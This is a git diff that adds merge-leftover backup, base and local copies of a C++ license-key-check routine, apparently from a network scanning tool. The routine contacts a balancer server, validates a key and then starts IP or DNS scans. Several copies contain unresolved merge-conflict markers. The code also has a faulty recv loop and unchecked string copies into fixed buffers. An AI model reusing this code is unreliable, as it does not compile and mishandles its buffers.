int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Connection timeout."); + CSSOCKET(sock); + return -1; + }; + c = send(sock, msg, strlen(msg), 0); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Send error."); + CSSOCKET(sock); + return -1; + }; + ZeroMemory(msg, sizeof(msg)); + test = recv(sock, msg, 512, 0); + + if(strstr(msg, "202 Accepted") != NULL) + { +<<<<<<< HEAD + + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); + +======= +#pragma region QTGUI_Area + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + CSSOCKET(sock); + + if(emitIfOK == 0) stt->doEmitionStartScanIP(); + else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); + else if(emitIfOK == 2) stt->doEmitionStartScanImport(); + return 1; + } + else if(strstr(msg, "400 Bad Request") != NULL) + { +<<<<<<< HEAD + + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); + +======= +#pragma region QTGUI_Area + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + CSSOCKET(sock); + return -1; + } + else if(strstr(msg, "503 Bad Gateway") != NULL) + { + stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); + CSSOCKET(sock); + return -1; + } + else + { +<<<<<<< HEAD + +======= +#pragma region QTGUI_Area +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + char header[64] = {0}; + getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); + stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); +<<<<<<< HEAD + +======= +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + CSSOCKET(sock); + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + CSSOCKET(sock); + } + else + { +<<<<<<< HEAD + +======= +#pragma region QTGUI_Area +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + CSSOCKET(sock); + return -1; +<<<<<<< HEAD + +======= +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + }; +}; + +void CheckKey_Th::run() +{ + KeyCheckerMain(); +}; diff --git a/CheckKey_Th.cpp.BACKUP.2715.cpp b/CheckKey_Th.cpp.BACKUP.2715.cpp new file mode 100644 index 0000000..64dccb8 --- /dev/null +++ b/CheckKey_Th.cpp.BACKUP.2715.cpp @@ -0,0 +1,300 @@ +#pragma once +#include "CheckKey_Th.h" +#include "CheckProxy_Th.h" +#include "STh.h" +#include "externData.h" +#include "externFunctions.h" + +void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int szStartStr = strlen(startStr); + int sz = ptr2 - ptr1 - szStartStr; + strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); + }; + }; +} +void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int sz = ptr2 - ptr1; + strncpy(dest, ptr1, sz < szDest ? sz : szDest); + }; + }; +} +int emitIfOK = -1; +int KeyCheckerMain() +{ + int kLen = strlen(trcPersKey); + if(kLen == 0) + { + stt->doEmitionRedFoundData("[Key check] Key field is empty."); + return -1; + } + else if(kLen < 32) + { + stt->doEmitionRedFoundData("[Key check] Key length is not valid."); + return -1; + }; + char msg[1024] = {0}; + char ndbServer[64] = {0}; + char ndbScript[64] = {0}; + + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + + strcpy(msg, "GET "); + strcat(msg, "/"); + strcat(msg, trcScr); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, trcSrv); + strcat(msg, "\r\nX-Nescav3: True"); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + + HOSTENT *host; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); + int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + return -1; + }; + + test = send(sock, msg, strlen(msg), 0); + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + int ror = sizeof(msg); + + test = recv(sock, msg, sizeof(msg), 0); + char buff[512] = {0}; + while((test = recv(sock, msg, sizeof(msg), 0)) != 0) + { + strcat(msg, buff); + }; + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + char *t1; + char *t2; + if(strstr(msg, "http://") != NULL) + { + t1 = strstr(msg, "http://"); + if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) + { + t2 = strstr((char*)(t1 + strlen("http://")), "/"); + int ln = t2 - t1 - strlen("http://"); + if(ln > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); + + + if(strlen(t2) > 64) + { + stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); + if(strstr(t2, "\r\n") != NULL) + { + char *t3 = strstr(t2, "\r\n"); + int y = (int)(t3 - t2); + + if(y > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else + { + strncpy(ndbScript, t2, y); + }; + } + else + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + }; + } else strcpy(ndbScript, t2); + } + else + { + stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + + stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); + CSSOCKET(sock); + + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + strcpy(msg, "GET "); + strcat(msg, "/api/checkaccount?key="); + strncat(msg, trcPersKey, 32); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, ndbServer); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Connection timeout."); + CSSOCKET(sock); + return -1; + }; + c = send(sock, msg, strlen(msg), 0); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Send error."); + CSSOCKET(sock); + return -1; + }; + ZeroMemory(msg, sizeof(msg)); + test = recv(sock, msg, 512, 0); + + if(strstr(msg, "202 Accepted") != NULL) + { +<<<<<<< HEAD + + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); + +======= +#pragma region QTGUI_Area + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + CSSOCKET(sock); + + if(emitIfOK == 0) stt->doEmitionStartScanIP(); + else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); + else if(emitIfOK == 2) stt->doEmitionStartScanImport(); + return 1; + } + else if(strstr(msg, "400 Bad Request") != NULL) + { +<<<<<<< HEAD + + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); + +======= +#pragma region QTGUI_Area + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + CSSOCKET(sock); + return -1; + } + else if(strstr(msg, "503 Bad Gateway") != NULL) + { + stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); + CSSOCKET(sock); + return -1; + } + else + { +<<<<<<< HEAD + +======= +#pragma region QTGUI_Area +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + char header[64] = {0}; + getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); + stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); +<<<<<<< HEAD + +======= +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + CSSOCKET(sock); + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + CSSOCKET(sock); + } + else + { +<<<<<<< HEAD + +======= +#pragma region QTGUI_Area +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + CSSOCKET(sock); + return -1; +<<<<<<< HEAD + +======= +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + }; +}; + +void CheckKey_Th::run() +{ + KeyCheckerMain(); +}; diff --git a/CheckKey_Th.cpp.BACKUP.2915.cpp b/CheckKey_Th.cpp.BACKUP.2915.cpp new file mode 100644 index 0000000..64dccb8 --- /dev/null +++ b/CheckKey_Th.cpp.BACKUP.2915.cpp @@ -0,0 +1,300 @@ +#pragma once +#include "CheckKey_Th.h" +#include "CheckProxy_Th.h" +#include "STh.h" +#include "externData.h" +#include "externFunctions.h" + +void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int szStartStr = strlen(startStr); + int sz = ptr2 - ptr1 - szStartStr; + strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); + }; + }; +} +void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int sz = ptr2 - ptr1; + strncpy(dest, ptr1, sz < szDest ? sz : szDest); + }; + }; +} +int emitIfOK = -1; +int KeyCheckerMain() +{ + int kLen = strlen(trcPersKey); + if(kLen == 0) + { + stt->doEmitionRedFoundData("[Key check] Key field is empty."); + return -1; + } + else if(kLen < 32) + { + stt->doEmitionRedFoundData("[Key check] Key length is not valid."); + return -1; + }; + char msg[1024] = {0}; + char ndbServer[64] = {0}; + char ndbScript[64] = {0}; + + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + + strcpy(msg, "GET "); + strcat(msg, "/"); + strcat(msg, trcScr); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, trcSrv); + strcat(msg, "\r\nX-Nescav3: True"); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + + HOSTENT *host; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); + int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + return -1; + }; + + test = send(sock, msg, strlen(msg), 0); + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + int ror = sizeof(msg); + + test = recv(sock, msg, sizeof(msg), 0); + char buff[512] = {0}; + while((test = recv(sock, msg, sizeof(msg), 0)) != 0) + { + strcat(msg, buff); + }; + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + char *t1; + char *t2; + if(strstr(msg, "http://") != NULL) + { + t1 = strstr(msg, "http://"); + if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) + { + t2 = strstr((char*)(t1 + strlen("http://")), "/"); + int ln = t2 - t1 - strlen("http://"); + if(ln > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); + + + if(strlen(t2) > 64) + { + stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); + if(strstr(t2, "\r\n") != NULL) + { + char *t3 = strstr(t2, "\r\n"); + int y = (int)(t3 - t2); + + if(y > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else + { + strncpy(ndbScript, t2, y); + }; + } + else + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + }; + } else strcpy(ndbScript, t2); + } + else + { + stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + + stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); + CSSOCKET(sock); + + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + strcpy(msg, "GET "); + strcat(msg, "/api/checkaccount?key="); + strncat(msg, trcPersKey, 32); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, ndbServer); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Connection timeout."); + CSSOCKET(sock); + return -1; + }; + c = send(sock, msg, strlen(msg), 0); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Send error."); + CSSOCKET(sock); + return -1; + }; + ZeroMemory(msg, sizeof(msg)); + test = recv(sock, msg, 512, 0); + + if(strstr(msg, "202 Accepted") != NULL) + { +<<<<<<< HEAD + + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); + +======= +#pragma region QTGUI_Area + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + CSSOCKET(sock); + + if(emitIfOK == 0) stt->doEmitionStartScanIP(); + else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); + else if(emitIfOK == 2) stt->doEmitionStartScanImport(); + return 1; + } + else if(strstr(msg, "400 Bad Request") != NULL) + { +<<<<<<< HEAD + + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); + +======= +#pragma region QTGUI_Area + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + CSSOCKET(sock); + return -1; + } + else if(strstr(msg, "503 Bad Gateway") != NULL) + { + stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); + CSSOCKET(sock); + return -1; + } + else + { +<<<<<<< HEAD + +======= +#pragma region QTGUI_Area +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + char header[64] = {0}; + getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); + stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); +<<<<<<< HEAD + +======= +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + CSSOCKET(sock); + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + CSSOCKET(sock); + } + else + { +<<<<<<< HEAD + +======= +#pragma region QTGUI_Area +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + CSSOCKET(sock); + return -1; +<<<<<<< HEAD + +======= +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + }; +}; + +void CheckKey_Th::run() +{ + KeyCheckerMain(); +}; diff --git a/CheckKey_Th.cpp.BASE.2427.cpp b/CheckKey_Th.cpp.BASE.2427.cpp new file mode 100644 index 0000000..e69de29 diff --git a/CheckKey_Th.cpp.BASE.2593.cpp b/CheckKey_Th.cpp.BASE.2593.cpp new file mode 100644 index 0000000..e69de29 diff --git a/CheckKey_Th.cpp.BASE.2715.cpp b/CheckKey_Th.cpp.BASE.2715.cpp new file mode 100644 index 0000000..e69de29 diff --git a/CheckKey_Th.cpp.BASE.2915.cpp b/CheckKey_Th.cpp.BASE.2915.cpp new file mode 100644 index 0000000..e69de29 diff --git a/CheckKey_Th.cpp.LOCAL.2427.cpp b/CheckKey_Th.cpp.LOCAL.2427.cpp new file mode 100644 index 0000000..6ee1ba7 --- /dev/null +++ b/CheckKey_Th.cpp.LOCAL.2427.cpp @@ -0,0 +1,270 @@ +#pragma once +#include "CheckKey_Th.h" +#include "CheckProxy_Th.h" +#include "STh.h" +#include "externData.h" +#include "externFunctions.h" + +void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int szStartStr = strlen(startStr); + int sz = ptr2 - ptr1 - szStartStr; + strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); + }; + }; +} +void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int sz = ptr2 - ptr1; + strncpy(dest, ptr1, sz < szDest ? sz : szDest); + }; + }; +} +int emitIfOK = -1; +int KeyCheckerMain() +{ + int kLen = strlen(trcPersKey); + if(kLen == 0) + { + stt->doEmitionRedFoundData("[Key check] Key field is empty."); + return -1; + } + else if(kLen < 32) + { + stt->doEmitionRedFoundData("[Key check] Key length is not valid."); + return -1; + }; + char msg[1024] = {0}; + char ndbServer[64] = {0}; + char ndbScript[64] = {0}; + + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + + strcpy(msg, "GET "); + strcat(msg, "/"); + strcat(msg, trcScr); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, trcSrv); + strcat(msg, "\r\nX-Nescav3: True"); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + + HOSTENT *host; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); + int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + return -1; + }; + + test = send(sock, msg, strlen(msg), 0); + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + int ror = sizeof(msg); + + test = recv(sock, msg, sizeof(msg), 0); + char buff[512] = {0}; + while((test = recv(sock, msg, sizeof(msg), 0)) != 0) + { + strcat(msg, buff); + }; + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + char *t1; + char *t2; + if(strstr(msg, "http://") != NULL) + { + t1 = strstr(msg, "http://"); + if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) + { + t2 = strstr((char*)(t1 + strlen("http://")), "/"); + int ln = t2 - t1 - strlen("http://"); + if(ln > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); + + + if(strlen(t2) > 64) + { + stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); + if(strstr(t2, "\r\n") != NULL) + { + char *t3 = strstr(t2, "\r\n"); + int y = (int)(t3 - t2); + + if(y > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else + { + strncpy(ndbScript, t2, y); + }; + } + else + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + }; + } else strcpy(ndbScript, t2); + } + else + { + stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + + stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); + CSSOCKET(sock); + + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + strcpy(msg, "GET "); + strcat(msg, "/api/checkaccount?key="); + strncat(msg, trcPersKey, 32); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, ndbServer); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Connection timeout."); + CSSOCKET(sock); + return -1; + }; + c = send(sock, msg, strlen(msg), 0); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Send error."); + CSSOCKET(sock); + return -1; + }; + ZeroMemory(msg, sizeof(msg)); + test = recv(sock, msg, 512, 0); + + if(strstr(msg, "202 Accepted") != NULL) + { + + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); + + CSSOCKET(sock); + + if(emitIfOK == 0) stt->doEmitionStartScanIP(); + else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); + else if(emitIfOK == 2) stt->doEmitionStartScanImport(); + return 1; + } + else if(strstr(msg, "400 Bad Request") != NULL) + { + + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); + + CSSOCKET(sock); + return -1; + } + else if(strstr(msg, "503 Bad Gateway") != NULL) + { + stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); + CSSOCKET(sock); + return -1; + } + else + { + + char header[64] = {0}; + getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); + stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + + CSSOCKET(sock); + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + CSSOCKET(sock); + } + else + { + + stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + CSSOCKET(sock); + return -1; + + }; +}; + +void CheckKey_Th::run() 